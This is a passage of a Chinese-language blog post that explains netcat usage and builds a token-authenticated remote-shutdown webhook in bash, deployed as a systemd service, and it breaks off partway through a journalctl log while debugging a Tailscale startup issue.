<p>最初 <a href="https://nc110.sourceforge.io/">netcat</a> 是由一位名为 Hobbit 的开发者在 1995 年推出的一个 Unix 网络调试工具（最终版 1.10 于 1996 年），后来被多次重写并移植到很多系统上。比较有名的衍生版本包括了 <a href="https://netcat.sourceforge.net/">GNU Netcat</a>，<a href="https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/nc/">OpenBSD Netcat</a>（支持了 IPv6 和 TLS），<a href="https://git.busybox.net/busybox/tree/networking/nc.c">mini-netcat</a>（BusyBox 的实现），<a href="http://www.dest-unreach.org/socat/">socat</a>（&ldquo;netcat++&quot;，顾名思义增加了很多针对 socket 的功能），<a href="https://nmap.org/ncat/">Ncat</a>（Nmap 项目的实现，同样增加了不少功能）。</p>
<p>抛开 socat 和 Ncat 这些改动比较大的现代化版本，目前 Debian/Ubuntu 系的官方 APT 仓库里会提供两种版本的 netcat：netcat-traditional 和 netcat-openbsd。netcat-traditional 就是最原始的那个 Unix 版本的移植，而 netcat-openbsd 则是更强大的 OpenBSD 重写版的移植。这里我选择了使用 OpenBSD 的版本。</p>
<p>调用 netcat 的指令是 <code>netcat</code> 或者 <code>nc</code>，两者被符号链接到了相同的可执行文件上（<code>nc.openbsd</code>）。Netcat 主要有三大功能：</p>
<ul>
<li>
<p>监听一个本地 TCP/UDP 端口，并做一些数据交互：（以下样例加 <code>-u</code> 代表 UDP 模式）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># -l 代表 listen，监听本地 1234 TCP 端口（收到的数据会打印在终端，也可以用键盘发送数据）</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">nc -l localhost <span class="m">1234</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="c1"># 监听 1234 TCP 端口，把得到的数据存到文件（不指定 localhost 表示监听本地所有网卡）</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">nc -l -p <span class="m">1234</span> &gt; download.txt
</span></span><span class="line"><span class="ln">6</span><span class="cl">
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="c1"># 监听 1234 TCP 端口，给所有连接发送这份数据（不指定 localhost 表示监听本地所有网卡）</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">cat upload.txt <span class="p">|</span> nc -l -p <span class="m">1234</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl">nc -l -p <span class="m">1234</span> &lt; upload.txt</span></span></code></pre></div></li>
<li>
<p>连接一个远程 TCP/UDP 端口，并做数据交互：（以下样例加 <code>-u</code> 代表 UDP 模式）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># 向远程 example.com:1234 TCP 端口建立连接</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">nc example.com <span class="m">1234</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="c1"># 从本地 1234 TCP 端口下载数据</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">nc localhost <span class="m">1234</span> &gt; download.txt
</span></span><span class="line"><span class="ln">6</span><span class="cl">
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="c1"># 向本地 1234 TCP 端口上传数据</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">cat upload.txt <span class="p">|</span> nc localhost <span class="m">1234</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl">nc localhost <span class="m">1234</span> &lt; upload.txt</span></span></code></pre></div></li>
<li>
<p>端口扫描（以下样例加 <code>-u</code> 代表 UDP 模式）</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="c1"># -z 扫描模式，-v verbose 详细日志，扫描本地 1234 TCP 端口是否开放</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">nc -zv localhost <span class="m">1234</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="c1"># -w 超时秒数，扫描远程 example.com 1234-1334 范围 TCP 端口</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">nc -zv -w <span class="m">5</span> example.com 1234-1334</span></span></code></pre></div></li>
</ul>
<p>总体还是非常简单明了的嘛！</p>
<h2 id="netcat-服务器">Netcat 服务器</h2>
<p>有了以上基础知识，我们已经知道怎么用 <code>nc</code> 在一个端口上收发数据了。那让我们来实现一个简单的服务器吧！</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">while</span> true<span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="nv">req</span><span class="o">=</span><span class="k">$(</span>nc -l localhost 8888<span class="k">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;Request: </span><span class="nv">$req</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="k">done</span></span></span></code></pre></div><p>试着请求一下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ <span class="nb">echo</span> <span class="s2">&#34;test&#34;</span> <span class="p">|</span> nc localhost <span class="m">8888</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"> </span></span></code></pre></div><p>两边都卡住了！没有任何输出被打印出来。直到请求方 ctrl-c 终止，服务端才打印出了期待的 <code>Request: test</code>。怎么回事？</p>
<p>快速翻阅一下 <code>man nc</code> 能够发现两个有趣的 flag：</p>
<blockquote>





<pre tabindex="0"><code class="language-manual" data-lang="manual">-N      shutdown(2) the network socket after EOF on the input.  Some servers require
        this to finish their work.

-q seconds
        after EOF on stdin, wait the specified number of seconds and then quit. If
        seconds is negative, wait forever (default).  Specifying a non-negative seconds
        implies -N.</code></pre></blockquote>
<p>意思就是说，默认情况下 netcat 接收到请求方的 EOF 以后，并不会退出执行，而是会继续监听。所以在上面的例子里，服务端和客户端都没有退出，而是继续在等待对方的数据传输。所以解决方法很简单，在服务端加入 <code>-N</code> 选项就可以了，right？&hellip;<em>right</em>？</p>
<p>可惜事情没有那么简单，加上 <code>-N</code> 以后两边依然会卡住。我在随意尝试中发现两边都传送信息的话好像才行，例如 <code>echo &quot;123&quot; | nc -l -N localhost 8888</code>，但是服务端和客户端两边的选项组合非常诡异。于是我尝试了所有的组合，列出了下面这个表格：</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center">server \ client</th>
          <th style="text-align: center">default</th>
          <th style="text-align: center">echo</th>
          <th style="text-align: center">-N</th>
          <th style="text-align: center">echo + -N</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center"><strong>default</strong></td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">✓</td>
      </tr>
      <tr>
          <td style="text-align: center"><strong>echo</strong></td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">✓</td>
      </tr>
      <tr>
          <td style="text-align: center"><strong>-N</strong></td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">✓</td>
      </tr>
      <tr>
          <td style="text-align: center"><strong>echo + -N</strong></td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">✓</td>
          <td style="text-align: center">X</td>
          <td style="text-align: center">✓</td>
      </tr>
  </tbody>
</table>
<p>为什么这个表格不是对角对称的？百思不得其解。客户端组合 <code>echo</code> 和 <code>-N</code> 选项的时候无论如何都能正确结束连接，但是服务端组合两个选项的时候，客户端也需要 <code>echo</code> 些什么才能结束连接。</p>
<p>于是我从互联网深处挖到了这个回答：</p>
<blockquote>
<p><strong>networking - BSD nc (netcat) does not terminate on EOF - Server Fault</strong></p>
<p><a href="https://serverfault.com/a/905462">https://serverfault.com/a/905462</a></p>
<p>I, too, was puzzled by netcat&rsquo;s behavior, so I dug into the code. Here&rsquo;s the whole story:</p>
<p>nc servers (<code>nc -l</code>) and clients only exit after the mutual connection was closed. That is, if each of the parties sent a <a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol#Connection_termination">FIN</a> packet to the other party.</p>
<p>A server always sends a <code>FIN</code> packet after receiving a <code>FIN</code> packet from the client. (Unless the server already sent a <code>FIN</code> packet.)</p>
<p>A client sends a FIN packet either:</p>
<ul>
<li>after <code>EOF</code> on stdin, when run with argument <code>-N</code></li>
<li>after <code>EOF</code> on stdin, when the server already sent a FIN packet</li>
</ul>
<p>With option <code>-d</code>  stdin is ignored and <code>nc</code> behaves as if it encountered <code>EOF</code> on stdin.</p>
<p>Option <code>-N</code> always implies sending <code>FIN</code> after encountering <code>EOF</code> on stdin.</p>
</blockquote>
<p>翻译一下，<code>nc</code> 需要服务端和客户端各向对方发送一个 FIN 包以后才会终止连接。服务端总会在客户端发出 FIN 以后回复一个 FIN，除非服务端已经发过 FIN 了；客户端在 stdin 上读到 EOF 以后，如果有 <code>-N</code> 选项则会发送 FIN，没有的话会在服务端发送 FIN 后也发送 FIN。</p>
<p>所以根据这个回答，我一开始的解读 “默认情况下 netcat 接收到请求方的 EOF 以后” 是错误的，这个 EOF 其实指的是来自服务端和客户端各自 stdin 的 EOF。后面的组合表格也能够解释了，如果客户端组合两个选项，意味着一定会在结束的时候发送 FIN，而服务端接收到 FIN 则会回复 FIN，连接结束；如果客户端不主动发送 FIN，则服务端需要主动发送 FIN，即需要结合完整的两个选项，而且在这个情况下客户端也需要在 stdin 上有输入才会正确回复 FIN（不然没有 EOF）。</p>
<p>回答的最后也提到了 <code>-d</code> 选项，根据 <code>man nc</code> 这个选项意思是 “Do not attempt to read from stdin.”。这样客户端就算没有 stdin，也会认为读到了 EOF，解决了客户端不发送信息终止不了连接的情况。幸好我们有验证机制的需要（下一章）一定会发送一些信息，所以这里不用 <code>-d</code>，直接在 stdin 上传输一些数据就好啦。但是服务端可以用上这个选项，不需要非得返回些信息啦。</p>
<p>综合以上，现在的服务器长这样：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">while</span> true<span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="nv">req</span><span class="o">=</span><span class="k">$(</span>nc -l -d -N localhost 8888<span class="k">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;Request: </span><span class="nv">$req</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="k">done</span></span></span></code></pre></div><p>请求一下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ <span class="nb">echo</span> <span class="s2">&#34;test&#34;</span> <span class="p">|</span> nc localhost <span class="m">8888</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">$</span></span></code></pre></div><p>成了。两边的连接正确终止了，服务端也正确打出了 <code>Request: test</code>。</p>
<p>既然用 <code>nc</code> 也只是往这个端口发送一点数据，那最最有名的请求工具 cURL 调用一下应该也可以吧？</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ curl localhost:8888
</span></span><span class="line"><span class="ln">2</span><span class="cl">curl: <span class="o">(</span>52<span class="o">)</span> Empty reply from server</span></span></code></pre></div><p>看来 cURL 不喜欢已读不回。服务端改成 <code>echo &quot;hello&quot; | nc -l -N localhost 8888</code>（有 stdin 就可以去掉 <code>-d</code> 了） 试试？</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">$ curl localhost:8888
</span></span><span class="line"><span class="ln">2</span><span class="cl">curl: <span class="o">(</span>1<span class="o">)</span> Received HTTP/0.9 when not allowed</span></span></code></pre></div><p>出现了全新的报错！原来，cURL 实际是工作在 HTTP 协议上的，随便在 TCP 端口上返回些字符串可不是 HTTP 协议（或者可以说是 HTTP/0.9，不过 cURL 也说了这不允许）。从服务端的日志里我们可以看到，cURL 发出了一个 <code>GET / HTTP/1.1</code> 的请求，所以解决方法，就是返回一个最简单的 HTTP/1.1 回复报文 <code>HTTP/1.1 200 OK</code>：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">while</span> true<span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="nv">req</span><span class="o">=</span><span class="k">$(</span><span class="nb">echo</span> <span class="s2">&#34;HTTP/1.1 200 OK&#34;</span> <span class="p">|</span> nc -l -N localhost 8888<span class="k">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;Request: </span><span class="nv">$req</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="k">done</span></span></span></code></pre></div><p>再试一下 cURL：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">$ curl -v localhost:8888
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">*   Trying 127.0.0.1:8888...
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">* Connected to localhost <span class="o">(</span>127.0.0.1<span class="o">)</span> port <span class="m">8888</span> <span class="o">(</span><span class="c1">#0)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">&gt; GET / HTTP/1.1
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">&gt; Host: localhost:8888
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">&gt; User-Agent: curl/7.81.0
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">&gt; Accept: */*
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">&gt; 
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">* Mark bundle as not supporting multiuse
</span></span><span class="line"><span class="ln">10</span><span class="cl">&lt; HTTP/1.1 <span class="m">200</span> OK
</span></span><span class="line"><span class="ln">11</span><span class="cl">* Connection <span class="c1">#0 to host localhost left intact</span></span></span></code></pre></div><p>一样成了。试一下 <code>echo &quot;test&quot; | nc localhost 8888</code>，依然符合预期是兼容的。</p>
<p>（严格来说这里应该用 <code>printf &quot;HTTP/1.1 200 OK \r\n&quot;</code>，按 HTTP/1.1 <a href="https://www.rfc-editor.org/rfc/rfc2616">RFC 2616</a> 规范，换行应该用 CRLF 而不是 LF。但是实际使用上没有区别，大概因为 cURL 实现了对 LF 的<a href="https://stackoverflow.com/a/5757349">兼容</a>，所以这里图方便就用 <code>echo</code> 了。）</p>
<p>一个歪打正着的点是，如果服务端 <code>nc</code> 没有使用 <code>echo</code>/<code>-d</code> + <code>-N</code> 的话，cURL 也是会卡住的。所以上面的那些挣扎也相当于是提前解决了一些未来的问题&hellip;.</p>
<p>最后提一嘴先前 <code>man nc</code> 里被忽略的那个 <code>-q</code> 选项。一开始我其实被误导走弯路用了 <code>-q 0</code> 而不是 <code>-N</code>，确实也能用（毕竟 <code>-q</code> 包含了 <code>-N</code>），但是会偶然出现一个问题：客户端认为请求正确完成了，但是服务端没有收到客户端发来的消息。现在我们也很容易解释这个问题了，因为 <code>-q 0</code> 意味着服务端读完 stdin 以后等待 0 秒立刻终止。如果服务端先读取完了 stdin，这时候客户端请求还没进来，那这时候连接就会直接终止，服务端认为没有接收到东西。网上还能搜到这个因为默认 <code>-q 0</code> 而导致问题的<a href="https://bugs.launchpad.net/ubuntu/+source/netcat-openbsd/+bug/544935">上古 bug</a>。</p>
<h2 id="认证机制">认证机制</h2>
<p>真是老不容易终于写出了个能用的服务器。但是我们当然不希望随便谁都能请求，所以下一步，来实现一个简单的认证机制吧。</p>
<p>最简单的想法就是两方定义好一个秘密字符串，客户端直接发送到服务端匹配是否正确。但是这样做有一些安全风险：因为请求全都是明文，所以可以轻松地被中间人和其他能够嗅探流量的人看光光。这样密钥就直接被人偷走了。</p>
<p>那考虑加密一下流量？可惜 Debian/Ubuntu 移植的这个版本的 netcat-openbsd 并不支持在服务端使用 HTTPS，就算支持我也会觉得有点太重（要额外管理证书签发，建立连接也更费时费力）。手搓一个类似 TLS 或者 WPA2/WPA3 的加密也比较困难，因为 netcat 很难在 bash 脚本的环境下做同一连接下多个来回的数据交互。（我相信有 bash 脚本神仙能写出来，但是到这份上我不如去用 Python 了？）</p>
<p>所以最后我决定采用类似 <a href="https://en.wikipedia.org/wiki/Time-based_one-time_password">TOTP (Time-based one-time password)</a> 的方式来做认证。倒也并不需要原封不动采用 TOTP 算法，我用类似的概念实现了一个简化版，直接拿密钥连上时间哈希一下：</p>
$$ OTP(K)=SHA256(K \_ \lfloor T/10 \rfloor) $$<p>用 bash 脚本实现则是：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&lt;SECRET&gt;_</span><span class="k">$(($(</span>date +%s<span class="k">)</span><span class="o">/</span><span class="m">10</span><span class="k">))</span><span class="s2">&#34;</span> <span class="p">|</span> sha256sum <span class="p">|</span> cut -d <span class="s2">&#34; &#34;</span> -f <span class="m">1</span></span></span></code></pre></div><p>这里 <code>$(($(date +%s)/10))</code> 计算的是 Unix 时间戳整除 10，也就是每 10 秒内相同的时间戳。把密钥和时间戳字符串相接后 SHA256 哈希一下，就是我们用于传输的 token 了。<code>cut -d &quot; &quot; -f 1</code> 是用来切掉 <code>sha256sum</code> 最后输出的文件名信息。</p>
<p>用 10 秒作为窗口粒度主要是为了缓解客户端和服务端的时间精度问题。如果能够确保两端时间非常准确地同步，直接用秒级甚至更精确的时间戳自然也是可以。</p>
<p>这样一来，每一个 token 只有 10s 的有效期，反正在这个窗口里重复请求关机并不会产生区别，所以就算被人窃取也没关系（算是一定程度上抵抗重放攻击）。偷听到的 token 也无法反向推出原始的密钥，足够安全了。</p>
<p>于是现在的服务器可以这样来写：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">while</span> true<span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="nv">req</span><span class="o">=</span><span class="k">$(</span><span class="nb">echo</span> <span class="s2">&#34;HTTP/1.1 200 OK&#34;</span> <span class="p">|</span> nc -l -N localhost 8888<span class="k">)</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="nv">secret</span><span class="o">=</span><span class="k">$(</span><span class="nb">echo</span> <span class="s2">&#34;PASSWORD_</span><span class="k">$(($(</span>date +%s<span class="k">)</span><span class="o">/</span><span class="m">10</span><span class="k">))</span><span class="s2">&#34;</span> <span class="p">|</span> sha256sum <span class="p">|</span> cut -d <span class="s2">&#34; &#34;</span> -f 1<span class="k">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$req</span><span class="s2">&#34;</span> <span class="o">=</span> *<span class="s2">&#34;</span><span class="nv">$secret</span><span class="s2">&#34;</span>* <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;Secret correct&#34;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="c1"># sudo shutdown</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;Secret wrong: </span><span class="nv">$req</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">done</span></span></span></code></pre></div><p>因为 cURL 请求的时候请求体里会有很多其他的内容，所以直接用了暴力匹配 <code>[[ &quot;$req&quot; = *&quot;$secret&quot;* ]]</code>，只要整个请求体里存在这个字符串就判真。反正这个哈希字符串很长很随机，不可能会出现在正常的 cURL 请求里，所以这样没什么问题。</p>
<p>试试用 cURL 和 netcat 请求一下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl localhost:8888/<span class="k">$(</span><span class="nb">echo</span> <span class="s2">&#34;PASSWORD_</span><span class="k">$(($(</span>date +%s<span class="k">)</span><span class="o">/</span><span class="m">10</span><span class="k">))</span><span class="s2">&#34;</span> <span class="p">|</span> sha256sum <span class="p">|</span> cut -d <span class="s2">&#34; &#34;</span> -f 1<span class="k">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;PASSWORD_</span><span class="k">$(($(</span>date +%s<span class="k">)</span><span class="o">/</span><span class="m">10</span><span class="k">))</span><span class="s2">&#34;</span> <span class="p">|</span> sha256sum <span class="p">|</span> cut -d <span class="s2">&#34; &#34;</span> -f <span class="m">1</span> <span class="p">|</span> nc localhost <span class="m">8888</span></span></span></code></pre></div><p>服务端的输出能够看到符合预期的两个 <code>Secret correct</code>，两种方法都能调用得通。不过因为服务端代码是单线程串行而且没有那么快，所以如果两个请求先后紧挨着调用的话，之间需要 <code>sleep</code> 一下，不然第二个请求可能会打不通。</p>
<p>这里 cURL 的请求，我取巧把 token 直接塞在了 GET 的 path 参数里，也可以选择放在头（<code>-H</code>）或者 POST 参数（<code>-d</code>）里，或者任何地方。我这样的暴力字符串匹配的好处就是，请求体里密钥随便塞哪儿都能行。</p>
<h2 id="systemd-服务">Systemd 服务</h2>
<p>服务器写好了，是时候把它部署成一个系统服务了。感谢 systemd，现代 Linux 系统里创建服务那是易如反掌。</p>
<p>编辑 <code>/etc/systemd/system/shutdown-webhook.service</code>：（记得把 <code>&lt;PASSWORD&gt;</code> 改成其他的随机字符串！）</p>

<style>
  .code-wrap-div code { text-wrap: wrap }
</style>
<div class="code-wrap-div">






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-service" data-lang="service"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">[Unit]</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="na">Description</span><span class="o">=</span><span class="s">System shutdown webhook</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="na">After</span><span class="o">=</span><span class="s">network.target</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="na">Type</span><span class="o">=</span><span class="s">exec</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="na">ExecStart</span><span class="o">=</span><span class="s">/bin/bash -ec &#39;while true; do req=$(echo &#34;HTTP/1.1 200 OK&#34; | nc -l -N 8888); secret=$(echo &#34;&lt;PASSWORD&gt;_$(($(date +%%s)/10))&#34; | sha256sum | cut -d &#34; &#34; -f 1); if [[ &#34;$req&#34; = *&#34;$secret&#34;* ]]; then echo &#34;Secret correct, shutting down...&#34;; shutdown; else echo &#34;Secret wrong: $req&#34;; fi; done&#39;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="na">Restart</span><span class="o">=</span><span class="s">on-failure</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">[Install]</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span></span></span></code></pre></div>
</div>

<p>这里把整个服务器的脚本写在了同一行里。相当的轻量和简洁，除了几个基础工具以外没有任何额外的依赖。完美！这样一来开机就会自启动这么一个 webhook 接口，随便用什么工具请求一下（当然得带 token），就可以触发远程关机了。</p>
<p>我这里选择使用默认的 root 用户运行这个服务，这样 <code>shutdown</code> 就不需要额外权限。如果想要更安全一点，也可以指定使用普通用户，然后在 sudoers 文件里允许这个用户无密码执行 <code>sudo shutdown</code> 或者其他需要 sudo 的指令。另外 <code>shutdown</code> 没有加 now，也是增加了一分钟的缓冲时间，给系统一些处理后台任务的时间，如果是误操作了也能来得及取消。</p>
<p>我也把这套简单 webhook 服务去掉了关机相关的特定细节，开源在了这里：<a href="https://gist.github.com/SteveHawk/454f8060cf955f60e2bee2f79ead0e35">https://gist.github.com/SteveHawk/454f8060cf955f60e2bee2f79ead0e35</a></p>
<h2 id="支线一个-tailscale-的坑">支线：一个 Tailscale 的坑</h2>
<p>在实际部署的过程中，还踩到了一个 tailscale 的坑，在这里记录一下。</p>
<p>因为希望这个 webhook 只能够被 tailscale 内网上的设备请求，所以我的服务端 netcat 指定绑定了 tailscale0 网卡的 IP。但是刚开机的时候 tailscale 可能还没有开始运行，所以需要额外配置一个依赖，也就是 <code>Wants=tailscaled.service</code>。这样应该就好了吧，right？&hellip;<em>RIGHT</em>？</p>

<div class="code-wrap-div">






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-service" data-lang="service"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">[Unit]</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="na">Description</span><span class="o">=</span><span class="s">System shutdown webhook</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="na">After</span><span class="o">=</span><span class="s">network.target tailscaled.service</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="na">Wants</span><span class="o">=</span><span class="s">tailscaled.service</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="na">Type</span><span class="o">=</span><span class="s">exec</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="na">ExecStart</span><span class="o">=</span><span class="s">/bin/bash -ec &#39;while true; do req=$(echo &#34;HTTP/1.1 200 OK&#34; | nc -l -N &lt;TAILSCALE_IP&gt; 8888); secret=$(echo &#34;&lt;PASSWORD&gt;_$(($(date +%%s)/10))&#34; | sha256sum | cut -d &#34; &#34; -f 1); if [[ &#34;$req&#34; = *&#34;$secret&#34;* ]]; then echo &#34;Secret correct, shutting down...&#34;; shutdown; else echo &#34;Secret wrong: $req&#34;; fi; done&#39;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="na">Restart</span><span class="o">=</span><span class="s">on-failure</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">[Install]</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span></span></span></code></pre></div>
</div>

<p>开机以后请求不通。<code>journalctl -b -u shutdown-webhook</code>：</p>





<pre tabindex="0"><code class="language-log" data-lang="log">Jul 24 18:13:38 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:38 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:38 remote-sbc bash[1124]: nc: Cannot assign requested address
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result &#39;exit-code&#39;.
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 1.
Jul 24 18:13:38 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:38 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:38 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:38 remote-sbc bash[1150]: nc: Cannot assign requested address
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:38 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result &#39;exit-code&#39;.
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 2.
Jul 24 18:13:39 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:39 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
Jul 24 18:13:39 remote-sbc systemd[1]: Started shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:39 remote-sbc bash[1170]: nc: Cannot assign requested address
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Main process exited, code=exited, status=1/FAILURE
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Failed with result &#39;exit-code&#39;.
Jul 24 18:13:39 remote-sbc systemd[1]: shutdown-webhook.service: Scheduled restart job, restart counter is at 3.
Jul 24 18:13:39 remote-sbc systemd[1]: Stopped shutdown-webhook.service - System shutdown webhook.
Jul 24 18:13:39 remote-sbc systemd[1]: Starting shutdown-webhook.service - System shutdown webhook...
